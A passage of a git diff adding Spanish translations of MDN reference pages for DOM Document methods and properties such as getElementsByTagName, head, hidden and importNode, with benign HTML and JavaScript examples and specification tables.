+ <li><code>elements</code> es una colección existente de {{domxref("NodeList")}}</li>
+ <li><code>name</code> es el valor del atributo <code>name</code> del elemento.</li>
+</ul>
+
+<h2 id="Example" name="Example">Ejemplo</h2>
+
+<pre class="brush:html">&lt;!DOCTYPE html&gt;
+&lt;html lang="en"&gt;
+&lt;head&gt;
+ ...
+&lt;/head&gt;
+
+&lt;body&gt;
+&lt;form name="up"&gt;&lt;input type="text"&gt;&lt;/form&gt;
+&lt;div name="down"&gt;&lt;input type="text"&gt;&lt;/div&gt;
+
+&lt;script&gt;
+var up_forms = document.getElementsByName("up");
+console.log(up_forms[0].tagName); // returns "FORM"
+&lt;/script&gt;
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<h2 id="Notes" name="Notes">Notas</h2>
+
+<p>El atributo <a href="/en-US/docs/DOM/element.name"><code>name</code></a> es solamente aplicable al documento (X)HTML. El método retorna una colección existente de {{domxref("NodeList")}} que contiene todos los elementos con el valor dado para el atributo <code>name</code>, tanto {{htmlelement("meta")}} o {{htmlelement("object")}} o en caso que <code>name</code> sea colocado en elementos que no soportan un atributo de atributo del todo.</p>
+
+<p>El método <strong>getElementsByName</strong> trabaja de diferente manera en diferentes navegadires. En IE &lt; 10, el método getElementsByName() tambipen retornará elementos que tienen un atributo <code>id</code> con el valor especificado. Entonces, debería tener cuidado de no usar el mismo string como <code>name</code> y <code>ID</code>.</p>
+
+<h2 id="Specifications" name="Specifications">Especificaciones</h2>
+
+<ul>
+ <li><a href="http://www.w3.org/TR/DOM-Level-2-HTML/">DOM Level 2 HTML: getElementsByName</a></li>
+ <li><a href="http://www.whatwg.org/html/#dom-document-getelementsbyname" title="http://www.whatwg.org/html/">HTML5: getElementsByName</a></li>
+</ul>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificaciones</th>
+   <th scope="col">estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#dom-document-getelementsbyname', "Document.getElementsByName()")}}</td>
+   <td>{{ Spec2('HTML WHATWG') }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM2 HTML", "html.html#ID-71555259", "Document.getElementsByName()")}}</td>
+   <td>{{Spec2("DOM2 HTML")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="See_also" name="See_also">Mira también</h2>
+
+<ul>
+ <li>{{domxref("document.getElementById()")}} para retornar una referencia de un elemento por su <code>id</code></li>
+ <li>{{domxref("document.getElementsByTagName()")}} para retornar referencias de elementos por el nombre de sus etiquetas</li>
+ <li>{{domxref("document.querySelector()")}} for powerful selectors via queries like <code>'div.myclass'</code></li>
+</ul>
diff --git a/files/es/web/api/document/getelementsbytagname/index.html b/files/es/web/api/document/getelementsbytagname/index.html
new file mode 100644
index 0000000000..7be48858c0
--- /dev/null
+++ b/files/es/web/api/document/getelementsbytagname/index.html
@@ -0,0 +1,104 @@
+---
+title: document.getElementsByTagName
+slug: Web/API/Document/getElementsByTagName
+tags:
+  - Referencia_DOM_de_Gecko
+translation_of: Web/API/Document/getElementsByTagName
+---
+<p>{{ ApiRef("DOM") }}</p>
+
+<h3 id="Resumen" name="Resumen">Resumen</h3>
+
+<p>Devuelve una lista de elementos con un nombre determinado. Se busca en todo el documento, incluyendo el nodo raíz.</p>
+
+<h3 id="Sintaxis" name="Sintaxis">Sintaxis</h3>
+
+<pre class="eval"><em>elements</em> = document.getElementsByTagName(<em>name</em>)
+</pre>
+
+<ul>
+ <li><code>elements</code> es una lista 'viva' (<code>NodeList</code>) de los elementos encontrados en el orden en que han aparecido en el árbol.</li>
+ <li><code>name</code> es una cadena que representa el nombre de los elementos. La cadena especial "*" representa a todos los elementos.</li>
+</ul>
+
+<h3 id="Ejemplo" name="Ejemplo">Ejemplo</h3>
+
+<p>En el siguiente ejemplo, <code>getElementsByTagName</code> empieza por el elemento padre y busca hacia abajo recurrentemente a lo largo de todo el DOM por ese elemento padre, buscando por hijos que cumplan con el criterio: nombre = <code>name</code>.</p>
+
+<p>Ten en cuenta que cuando el nodo en el que se invoca <code>getElementsByTagName</code>, no es el nodo <code>document</code>, en realidad se está usando el método <a href="es/DOM/element.getElementsByTagName">element.getElementsByTagName</a>.</p>
+
+<pre>&lt;html&gt;
+
+&lt;head&gt;
+&lt;title&gt;ejemplo de getElementsByTagName&lt;/title&gt;
+
+&lt;script type="text/javascript"&gt;
+
+function getAllParaElems()
+{
+  var allParas = document.getElementsByTagName("p");
+
+  var num = allParas.length;
+
+  alert("Hay " + num + " &lt;p&gt; elementos en este documento");
+}
+
+
+function div1ParaElems()
+{
+  var div1 = document.getElementById("div1")
+  var div1Paras = div1.getElementsByTagName("p");
+
+  var num = div1Paras.length;
+
+  alert("Hay " + num + " &lt;p&gt; elementos en el elemento div1");
+}
+
+
+function div2ParaElems()
+{
+  var div2 = document.getElementById("div2")
+  var div2Paras = div2.getElementsByTagName("p");
+
+  var num = div2Paras.length;
+
+  alert("Hay " + num + " &lt;p&gt; elementos en el elemento div2");
+}
+
+&lt;/script&gt;
+&lt;/head&gt;
+
+&lt;body style="border: solid green 3px"&gt;
+&lt;p&gt;Algo de texto&lt;/p&gt;
+&lt;p&gt;Algo de texto&lt;/p&gt;
+
+  &lt;div id="div1" style="border: solid blue 3px"&gt;
+    &lt;p&gt;Algo de texto en div1&lt;/p&gt;
+    &lt;p&gt;Algo de texto en div1&lt;/p&gt;
+    &lt;p&gt;Algo de texto en div1&lt;/p&gt;
+
+    &lt;div id="div2" style="border: solid red 3px"&gt;
+    &lt;p&gt;Algo de texto en div2&lt;/p&gt;
+    &lt;p&gt;Algo de texto en div2&lt;/p&gt;
+    &lt;/div&gt;
+  &lt;/div&gt;
+
+&lt;p&gt;Algo de texto&lt;/p&gt;
+&lt;p&gt;Algo de texto&lt;/p&gt;
+
+&lt;button onclick="getAllParaElems();"&gt;
+ muestra todos los elementos p en el documento&lt;/button&gt;&lt;br /&gt;
+
+&lt;button onclick="div1ParaElems();"&gt;
+ muestra todos los elementos p en div1&lt;/button&gt;&lt;br /&gt;
+
+&lt;button onclick="div2ParaElems();"&gt;
+ muestra todos los elementos p en div2&lt;/button&gt;
+
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<h3 id="Especificaci.C3.B3n" name="Especificaci.C3.B3n">Especificación</h3>
+
+<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Core/core.html#ID-A6C9094">DOM Level 2 Core: Document.getElementsByTagName</a></p>
diff --git a/files/es/web/api/document/getelementsbytagnamens/index.html b/files/es/web/api/document/getelementsbytagnamens/index.html
new file mode 100644
index 0000000000..d97657647b
--- /dev/null
+++ b/files/es/web/api/document/getelementsbytagnamens/index.html
@@ -0,0 +1,107 @@
+---
+title: document.getElementsByTagNameNS
+slug: Web/API/Document/getElementsByTagNameNS
+tags:
+  - Referencia_DOM_de_Gecko
+translation_of: Web/API/Document/getElementsByTagNameNS
+---
+<p>{{ ApiRef() }}</p>
+
+<h3 id="Resumen" name="Resumen">Resumen</h3>
+
+<p>Devuelve una lista de elementos cuyo nombre pertenece a un determinado 'namespace'. La búsqueda se realiza en todo el documento, incluyendo el elemento raíz.</p>
+
+<h3 id="Sintaxis" name="Sintaxis">Sintaxis</h3>
+
+<pre class="eval"><em>elements</em> = document.getElementsByTagNameNS(<em>namespace</em>,<em>name</em>)
+</pre>
+
+<ul>
+ <li><code>elements</code> es una lista del tipo <code>NodeList</code> de los elementos encontrados, en el orden en el que aparecen en el árbol.</li>
+ <li><code>namespace</code> es el nombre URI en el que buscamos. (Véase <code><a href="es/DOM/element.namespaceURI">element.namespaceURI</a></code>).</li>
+ <li><code>name</code> es bien el nombre local por el que buscamos, o bien el valor especial <code>"*"</code>, que representa todos los elementos (véase <code><a href="es/DOM/element.localName">element.localName</a></code>).</li>
+</ul>
+
+<h3 id="Ejemplo" name="Ejemplo">Ejemplo</h3>
+
+<p>En el siguiente ejemplo, <code>getElementsByTagNameNS</code> comienza por un elemento padre determinado y busca recurrentemente, hacia abajo, por los elementos que tienen el parámetro <code>name</code> que concuerda.</p>
+
+<p>Es importante tener en cuenta que cuando el nodo en el que se invoca <code>getElementsByTagName</code>, no es el nodo <code>document</code>, en realidad estamos usando el método <a href="es/DOM/element.getElementsByTagNameNS">element.getElementsByTagNameNS</a>.</p>
+
+<p>Para usar el siguiente ejemplo, copia y pega en un documento con la extensión xhtml.</p>
+
+<pre>&lt;html xmlns="http://www.w3.org/1999/xhtml"&gt;
+
+&lt;head&gt;
+&lt;title&gt;ejemplo de getElementsByTagNameNS&lt;/title&gt;
+
+&lt;script type="text/javascript"&gt;
+
+function getAllParaElems()
+{
+  var allParas = document.getElementsByTagNameNS("http://www.w3.org/1999/xhtml", "p");
+
+  var num = allParas.length;
+
+  alert("Hay " + num + " &amp;lt;p&amp;gt; elementos en este documento");
+}
+
+
+function div1ParaElems()
+{
+  var div1 = document.getElementById("div1")
+  var div1Paras = div1.getElementsByTagNameNS("http://www.w3.org/1999/xhtml", "p");
+
+  var num = div1Paras.length;
+
+  alert("Hay " + num + " &amp;lt;p&amp;gt; elementos en el elemento div1");
+}
+
+
+function div2ParaElems()
+{
+  var div2 = document.getElementById("div2")
+  var div2Paras = div2.getElementsByTagNameNS("http://www.w3.org/1999/xhtml", "p");
+
+  var num = div2Paras.length;
+
+  alert("Hay " + num + " &amp;lt;p&amp;gt; elementos en el elemento div2");
+}
+
+&lt;/script&gt;
+&lt;/head&gt;
+
+&lt;body style="border: solid green 3px"&gt;
+&lt;p&gt;Algo de texto exterior&lt;/p&gt;
+&lt;p&gt;Algo de texto exterior&lt;/p&gt;
+
+  &lt;div id="div1" style="border: solid blue 3px"&gt;
+    &lt;p&gt;Algo de texto en div1&lt;/p&gt;
+    &lt;p&gt;Algo de texto en div1&lt;/p&gt;
+    &lt;p&gt;Algo de texto en div1&lt;/p&gt;
+
+    &lt;div id="div2" style="border: solid red 3px"&gt;
+    &lt;p&gt;Algo de texto en div2&lt;/p&gt;
+    &lt;p&gt;Algo de texto en div2&lt;/p&gt;
+    &lt;/div&gt;
+  &lt;/div&gt;
+
+&lt;p&gt;Algo de texto exterior&lt;/p&gt;
+&lt;p&gt;Algo de texto exterior&lt;/p&gt;
+
+&lt;button onclick="getAllParaElems();"&gt;
+ muestra todos los elementos p en el documento&lt;/button&gt;&lt;br /&gt;
+
+&lt;button onclick="div1ParaElems();"&gt;
+ muestra todos los elementos p en el div1&lt;/button&gt;&lt;br /&gt;
+
+&lt;button onclick="div2ParaElems();"&gt;
+ muestra todos los elementos p en el div2&lt;/button&gt;
+
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<h3 id="Especificaci.C3.B3n" name="Especificaci.C3.B3n">Especificación</h3>
+
+<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Core/core.html#ID-getElBTNNS">DOM Level 2 Core: Document.getElementsByTagNameNS</a></p>
diff --git a/files/es/web/api/document/getselection/index.html b/files/es/web/api/document/getselection/index.html
new file mode 100644
index 0000000000..494ded4250
--- /dev/null
+++ b/files/es/web/api/document/getselection/index.html
@@ -0,0 +1,12 @@
+---
+title: Document.getSelection()
+slug: Web/API/Document/getSelection
+tags:
+  - Referencia
+  - Selección
+  - metodo
+translation_of: Web/API/DocumentOrShadowRoot/getSelection
+---
+<p>{{APIRef("DOM")}}</p>
+
+<p>Este método funciona exactamente igual que {{domxref("Window.getSelection()")}}; devuelve un objeto {{domxref("Selection")}} que representa el texto que se ha seleccionado en el documento.</p>
diff --git a/files/es/web/api/document/hasfocus/index.html b/files/es/web/api/document/hasfocus/index.html
new file mode 100644
index 0000000000..a3f4a7ce9e
--- /dev/null
+++ b/files/es/web/api/document/hasfocus/index.html
@@ -0,0 +1,23 @@
+---
+title: element.hasFocus
+slug: Web/API/Document/hasFocus
+tags:
+  - Referencia_DOM_de_Gecko
+translation_of: Web/API/Document/hasFocus
+---
+<p>{{ ApiRef() }}</p>
+
+<h3 id="Resumen" name="Resumen">Resumen</h3>
+
+<p>El atributo <code>hasFocus</code> devuelve <code>true</code> si el foco está en en algún sitio del documento activo. Este atributo es parte de la especificación HTML 5 actualmente en desarrollo.</p>
+
+<h3 id="Sintaxis" name="Sintaxis">Sintaxis</h3>
+
+<pre class="eval">focused = element.hasFocus
+</pre>
+
+<h3 id="Ejemplo" name="Ejemplo">Ejemplo</h3>
+
+<h3 id="Especificaci.C3.B3n" name="Especificaci.C3.B3n">Especificación</h3>
+
+<p><a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/#focus-management">Focus management </a></p>
diff --git a/files/es/web/api/document/head/index.html b/files/es/web/api/document/head/index.html
new file mode 100644
index 0000000000..a135b5cf3e
--- /dev/null
+++ b/files/es/web/api/document/head/index.html
@@ -0,0 +1,83 @@
+---
+title: Document.head
+slug: Web/API/Document/head
+translation_of: Web/API/Document/head
+---
+<p>{{APIRef("DOM")}}</p>
+
+<p>Devuelve el elemento {{HTMLElement("head")}} del documento actual. Si hay más de un elemento <code>&lt;head&gt;</code>, devuelve el primero de estos.</p>
+
+<h2 id="Syntax" name="Syntax">Sintaxis</h2>
+
+<pre class="syntaxbox"><em>var objRef</em> = document.head;
+</pre>
+
+<h2 id="Example" name="Example">Ejemplo</h2>
+
+<pre class="brush: js">// en el HTML: &lt;head id="my-document-head"&gt;
+var aHead = document.head;
+
+alert(aHead.id); // "my-document-head";
+
+alert( document.head === document.querySelector("head") ); // true
+</pre>
+
+<h2 id="Example" name="Example">Notas</h2>
+
+<p><code>document.head</code> is de sólo lectura. Cualquier intento de asignar un valor a esta propiedad fallará silenciosamente o, en caso de que se encuentre en <a href="/en-US/docs/Web/JavaScript/Reference/Functions_and_function_scope/Strict_mode">Modo estricto de ECMAScript</a> en un navegador Gecko, lanzará un <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/TypeError"><code>TypeError</code></a>.</p>
+
+<h2 id="Browser_Compatibility" name="Browser_Compatibility" style="line-height: 30px; font-size: 2.14285714285714rem;">Compatibilidad con navegadores</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>4.0</td>
+   <td>{{CompatGeckoDesktop("2")}}</td>
+   <td>9.0</td>
+   <td>11.0</td>
+   <td>5.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("2")}}</td>
+   <td>9.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Specification" name="Specification">Especificación</h2>
+
+<ul>
+ <li><a href="http://www.w3.org/TR/html5/dom.html#dom-tree-accessors" title="http://www.w3.org/TR/html5/dom.html#dom-document-head">HTML5: DOM Tree Accessors</a></li>
+</ul>
diff --git a/files/es/web/api/document/height/index.html b/files/es/web/api/document/height/index.html
new file mode 100644
index 0000000000..1bc2852c58
--- /dev/null
+++ b/files/es/web/api/document/height/index.html
@@ -0,0 +1,44 @@
+---
+title: Document.height
+slug: Web/API/Document/height
+translation_of: Web/API/Document/height
+---
+<div>{{APIRef("DOM")}} {{Obsolete_header}}</div>
+
+<div class="note">
+<p><strong>Note:</strong> Comenzando en {{Gecko("6.0")}},<code> document.height </code>no es soportada. En lugar usar <code>document.body.clientHeight</code>. Ver {{domxref("element.clientHeight")}}.</p>
+</div>
+
+<h2 id="Summary">Summary</h2>
+
+<p>Devuelve la altura del objeto {{domxref("document")}} . En la mayoría de los casos, esto equivale al elemento {{HTMLElement("body")}}  del documento actual.</p>
+
+<h2 id="Syntax" name="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><em>height_value</em> = document.height
+</pre>
+
+<h2 id="Example">Example</h2>
+
+<pre class="brush: js">// alert document height
+alert(document.height);
+</pre>
+
+<h2 id="Alternatives">Alternatives</h2>
+
+<pre class="syntaxbox">document.body.clientHeight
+document.documentElement.clientHeight
+document.documentElement.scrollHeight
+</pre>
+
+<h2 id="Specification">Specification</h2>
+
+<p>HTML5</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("document.width")}}</li>
+ <li>{{domxref("Element.clientHeight")}}</li>
+ <li>{{domxref("Element.scrollHeight")}}</li>
+</ul>
diff --git a/files/es/web/api/document/hidden/index.html b/files/es/web/api/document/hidden/index.html
new file mode 100644
index 0000000000..e90970233b
--- /dev/null
+++ b/files/es/web/api/document/hidden/index.html
@@ -0,0 +1,43 @@
+---
+title: Document.hidden
+slug: Web/API/Document/hidden
+translation_of: Web/API/Document/hidden
+---
+<p>{{ ApiRef("DOM") }}</p>
+
+<p>El  <code><strong>Document.hidden</strong></code> Es una propiedad solo de lectura, retorna un valor Booleano que indica si la pagina esta conciderada oculta o no.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">var <em>boolean</em> = document.hidden</pre>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<pre class="brush:js;">document.addEventListener("visibilitychange", function() {
+  console.log( document.hidden );
+  // Modify behavior...
+});
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Especificacion</th>
+   <th>Estado</th>
+   <th>Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Page Visibility API','#dom-document-hidden', 'Document.hidden')}}</td>
+   <td>{{Spec2('Page Visibility API')}}</td>
+   <td>definicion inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_Navegadores">Compatibilidad con Navegadores</h2>
+
+
+
+<p>{{Compat("api.Document.hidden")}}</p>
diff --git a/files/es/web/api/document/importnode/index.html b/files/es/web/api/document/importnode/index.html
new file mode 100644
index 0000000000..ea34cd33be
--- /dev/null
+++ b/files/es/web/api/document/importnode/index.html
@@ -0,0 +1,84 @@
+---
+title: Document.importNode()
+slug: Web/API/Document/importNode
+translation_of: Web/API/Document/importNode
+---
+<p id="Summary">{{APIRef("DOM")}}</p>
+
+<p>Crea una copia de un nodo desde un documento externo para ser insertado en el documento actual.</p>
+
+<h2 id="Syntax" name="Syntax">Sintaxis</h2>
+
+<pre class="syntaxbox">var <em>node</em> = <em>document</em>.importNode(<em>externalNode</em>, <em>deep</em>);
+</pre>
+
+<dl>
+ <dt><code>node</code></dt>
+ <dd>El nuevo nodo importado al documento actual. El <code><a href="/en-US/docs/DOM/Node.parentNode" title="DOM/Node.parentNode">parentNode</a></code> del nuevo nodo es <code>null</code>, ya que aun no ha sido insertado en el arbol del documento.</dd>
+ <dt><code>externalNode</code></dt>
+ <dd>El nodo externo a ser importado</dd>
+ <dt><code>deep</code></dt>
+ <dd>Un booleano que indica si los descendientes del nodo deben ser importados también.</dd>
+</dl>
+
+<div class="note">
+<p><strong>Nota:</strong> En la especificación DOM4 (tal y como se ha implementado en Gecko 13.0 {{geckoRelease(13)}}), <code>deep</code> es un argumento opcional. En el caso de ser omitido, adopta el valor de <strong><code>true</code></strong>, por lo que se hace una <em>deep copy</em> por defecto. Para realizar una copia superficial (<em>shallow copy</em>), <em>deep</em> debe ser <strong><code>false</code></strong>.</p>
+
+<p>Este comportamiento ha cambiado en la ultima especificación, por lo que si se omite el parámetro <em>deep,</em> éste adopta el valor <strong><code>false</code></strong>. Aunque aún es opcional, debería ser siempre provisto por razones de compatibilidad. Con Gecko 28.0 {{geckoRelease(28)}}, la consola advertia a los desarrolladores de no omitir el argumento. Empezando con Gecko 29.0 {{geckoRelease(29)}}), se realiza una copia superficial (<em>shallow copy</em>) por defecto.</p>
+</div>
+
+<h2 id="Example" name="Example">Ejemplo</h2>
+
+<pre class="brush: js">var iframe = document.getElementsByTagName("iframe")[0];
+var oldNode = iframe.contentWindow.document.getElementById("myNode");
+var newNode = document.importNode(oldNode, true);
+document.getElementById("container").appendChild(newNode);
+</pre>
+
+<h2 id="Notes" name="Notes">Notas</h2>
+
+<p>El nodo original no se borra del documento. El nodo importado es un clon del original.</p>
+
+<p> </p>
+
+<p>Nodes from external documents should be cloned using <a href="/es/docs/Web/API/Document/importNode" title="Crea una copia de un nodo desde un documento externo para ser insertado en el documento actual."><code>document.importNode()</code></a> (or adopted using <a href="/es/docs/Web/API/Document/adoptNode" title="Adopta un nodo extreno. El nodo y sub subnodos son quitados del documento en que se encuentra  y su nuevo  ownerDocument se cambia por el actual. El nodo puede entoces ser insertado en el documento actual."><code>document.adoptNode()</code></a>) before they can be inserted into the current document. For more on the <a href="/es/docs/Web/API/Node/ownerDocument" title="La propiedad de lectura Nodo.ownerDocument devuelve el objecto Document de más alto nivel/jerarquia para ese nodo."><code>Node.ownerDocument</code></a> issues, see the <a class="external" href="http://www.w3.org/DOM/faq.html#ownerdoc" rel="noopener">W3C DOM FAQ</a>.</p>
+
+<p>Firefox doesn't currently enforce this rule (it did for a while during the development of Firefox 3, but too many sites break when this rule is enforced). We encourage Web developers to fix their code to follow this rule for improved future compatibility.</p>
+
+<p> </p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM WHATWG", "#dom-document-importnode", "document.importNode()")}}</td>
+   <td>{{Spec2("DOM WHATWG")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM2 Core", "core.html#Core-Document-importNode", "document.importNode()")}}</td>
+   <td>{{Spec2("DOM2 Core")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_navegadores">Compatibilidad navegadores</h2>
+
+<div>
+
+
+<p>{{Compat("api.Document.importNode")}}</p>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("document.adoptNode()")}}</li>
+</ul>
diff --git a/files/es/web/api/document/index.html b/files/es/web/api/document/index.html
new file mode 100644
index 0000000000..5b72f5850e
--- /dev/null
+++ b/files/es/web/api/document/index.html
@@ -0,0 +1,390 @@
+---
+title: Documento
+slug: Web/API/Document
+tags:
+  - páginas_a_traducir
+translation_of: Web/API/Document
+---
+<div>{{ ApiRef }}</div>
+
+<div> </div>
+
+<p><span class="seoSummary">La interfaz <strong><code>Document</code></strong> representa cualquer página web cargada en el navegador y sirve como punto de entrada al contenido de la página (El árbol <a href="/es/docs/Uso_del_núcleo_del_nivel_1_del_DOM" title="Using_the_W3C_DOM_Level_1_Core">DOM</a>).</span> El DOM incluye elementos como {{HTMLElement("body")}} y {{HTMLElement("table")}}), entre <a href="/es/docs/Web/HTML/Element">muchos otros</a>, y proporciona funcionalidad que es global al documento, como obtener la URL de la página y crear nuevos elementos en el documento.</p>
+
+<p>{{inheritanceDiagram}}</p>
+
+<p>La interfaz <code>Document</code> describe los métodos y propiedade comunes para cualquier clase de documento. Dependiento del tipo de documento (ej. <a href="/es/docs/Web/HTML" title="HTML">HTML</a>, <a href="https://developer.mozilla.org/en-US/docs/XML" title="XML">XML</a>, SVG, …), hay disponible una API más extensa: los documentos HTML, que se sirven con el tipo de contenido <code>text/html</code>, también implementan la interfaz {{domxref("HTMLDocument")}}, mientras que los documentos XML y SVG implementan la interfaz {{domxref("XMLDocument")}}.</p>
+
+<h2 id="Properties" name="Properties">Propiedades</h2>
+
+<div class="note">
+<p><strong>Nota:</strong> La interfaz <code>Document</code> también hereda de las interfaces {{domxref("Node")}} y {{domxref("EventTarget")}}.</p>
+</div>
+
+<dl>
+ <dt>{{domxref("Document.all")}} {{Deprecated_inline}} {{non-standard_inline}}</dt>
+ <dd>Da acceso a todos los elementos del documento. Es una interfaz no estándar y no se debería utilizar.</dd>
+ <dt>{{domxref("Document.async")}} {{Deprecated_inline}}</dt>
+ <dd>Se utiliza con {{domxref("document.load")}} para indicar una petición asíncrona.</dd>
+ <dt>{{domxref("Document.characterSet")}} {{readonlyinline}}</dt>
+ <dd>Devuelve el juego de caracteres que utiliza el documento.</dd>
+ <dt>{{domxref("Document.charset")}} {{readonlyinline}} {{Deprecated_inline}}</dt>
+ <dd>Es un alias de {{domxref("Document.characterSet")}}. Utilice esta propiedad en su lugar.</dd>
+ <dt>{{domxref("Document.compatMode")}} {{experimental_inline}}</dt>
+ <dd>Indicates whether the document is rendered in Quirks or Strict mode.</dd>
+ <dt>{{domxref("Document.contentType")}} {{experimental_inline}}</dt>
+ <dd>Returns the Content-Type from the MIME Header of the current document.</dd>
+ <dt>{{domxref("Document.doctype")}}</dt>
+ <dd>Returns the Document Type Definition (DTD) of the current document.</dd>
+ <dt>{{domxref("Document.documentElement")}}</dt>
+ <dd>Returns the Element that is a direct child of the document. For HTML documents, this is normally the HTML element.</dd>
+ <dt>{{domxref("Document.documentURI")}}</dt>
+ <dd>Returns the document URL.</dd>
+ <dt>{{domxref("Document.domConfig")}} {{Deprecated_inline}}</dt>
+ <dd>Should return a {{domxref("DOMConfiguration")}} object.</dd>
+ <dt>{{domxref("Document.implementation")}}</dt>
+ <dd>Returns the DOM implementation associated with the current document.</dd>
+ <dt>{{domxref("Document.inputEncoding")}} {{Deprecated_inline}}</dt>
+ <dd>Returns the encoding used when the document was parsed.</dd>
+ <dt>{{domxref("Document.lastStyleSheetSet")}}</dt>
+ <dd>Returns the name of the style sheet set that was last enabled. Has the value <code>null</code> until the style sheet is changed by setting the value of {{domxref("Document.selectedStyleSheetSet","selectedStyleSheetSet")}}.</dd>
+ <dt>{{domxref("Document.mozSyntheticDocument")}} {{non-standard_inline}} {{gecko_minversion_inline("8.0")}}</dt>
+ <dd><code>true</code> if this document is synthetic, such as a standalone image, video, audio file, or the like.</dd>
+ <dt>{{domxref("Document.mozFullScreen")}} {{non-standard_inline}} {{gecko_minversion_inline("9.0")}}</dt>
+ <dd><code>true</code> when the document is in {{domxref("Using_full-screen_mode","full-screen mode")}}.</dd>
+ <dt>{{domxref("Document.mozFullScreenElement")}} {{non-standard_inline}} {{gecko_minversion_inline("9.0")}}</dt>
+ <dd>The element that's currently in full screen mode for this document.</dd>
+ <dt>{{domxref("Document.mozFullScreenEnabled")}} {{non-standard_inline}} {{gecko_minversion_inline("9.0")}}</dt>
+ <dd><code>true</code> if calling {{domxref("element.mozRequestFullscreen()")}} would succeed in the curent document.</dd>
+ <dt>{{domxref("Document.pointerLockElement")}} {{experimental_inline}}</dt>
+ <dd>Returns the element set as the target for mouse events while the pointer is locked. <code>null</code> if lock is pending, pointer is unlocked, or if the target is in another document.</dd>
+ <dt>{{domxref("Document.preferredStyleSheetSet")}}</dt>
+ <dd>Returns the preferred style sheet set as specified by the page author.</dd>
+ <dt>{{domxref("Document.selectedStyleSheetSet")}}</dt>
+ <dd>Returns which style sheet set is currently in use.</dd>
+ <dt>{{domxref("Document.styleSheets")}}</dt>
+ <dd>Returns a list of the style sheet objects on the current document.</dd>
+ <dt>{{domxref("Document.styleSheetSets")}}</dt>
+ <dd>Returns a list of the style sheet sets available on the document.</dd>
+ <dt>{{domxref("Document.xmlEncoding")}} {{Deprecated_inline}}</dt>
+ <dd>Returns the encoding as determined by the XML declaration.</dd>
+ <dt>{{domxref("Document.xmlStandalone")}} {{obsolete_inline("10.0")}}</dt>
+ <dd>Returns <code>true</code> if the XML declaration specifies the document to be standalone (<em>e.g.,</em> An external part of the DTD affects the document's content), else <code>false</code>.</dd>
+ <dt>{{domxref("Document.xmlVersion")}} {{obsolete_inline("10.0")}}</dt>
+ <dd>Returns the version number as specified in the XML declaration or <code>"1.0"</code> if the declaration is absent.</dd>
+</dl>
+
+<p>The <code>Document</code> interface is extended with the {{domxref("ParentNode")}} interface:</p>
+
+<p>{{page("/en-US/docs/Web/API/ParentNode","Properties")}}</p>
+
+<h3 id="Extension_for_HTML_documents">Extension for HTML documents</h3>
+
+<p>The <code>Document</code> interface for HTML documents inherit from the {{domxref("HTMLDocument")}} interface or, since HTML5, is extended for such documents:</p>
+
+<dl>
+ <dt>{{domxref("Document.activeElement")}}</dt>
+ <dd>Returns the currently focused element.</dd>
+ <dt>{{domxref("Document.alinkColor")}} {{Deprecated_inline}}</dt>
+ <dd>Returns or sets the color of active links in the document body.</dd>
+ <dt>{{domxref("Document.anchors")}}</dt>
+ <dd>Returns a list of all of the anchors in the document.</dd>
+ <dt>{{domxref("Document.applets")}} {{Deprecated_inline}}</dt>
+ <dd>Returns an ordered list of the applets within a document.</dd>
+ <dt>{{domxref("Document.bgColor")}} {{Deprecated_inline}}</dt>
+ <dd>Gets/sets the background color of the current document.</dd>
+ <dt>{{domxref("Document.body")}}</dt>
+ <dd>Returns the {{HTMLElement("body")}} element of the current document.</dd>
+ <dt>{{domxref("Document.cookie")}}</dt>
+ <dd>Returns a semicolon-separated list of the cookies for that document or sets a single cookie.</dd>
+ <dt>{{domxref("Document.defaultView")}}</dt>
+ <dd>Returns a reference to the window object.</dd>
+ <dt>{{domxref("Document.designMode")}}</dt>
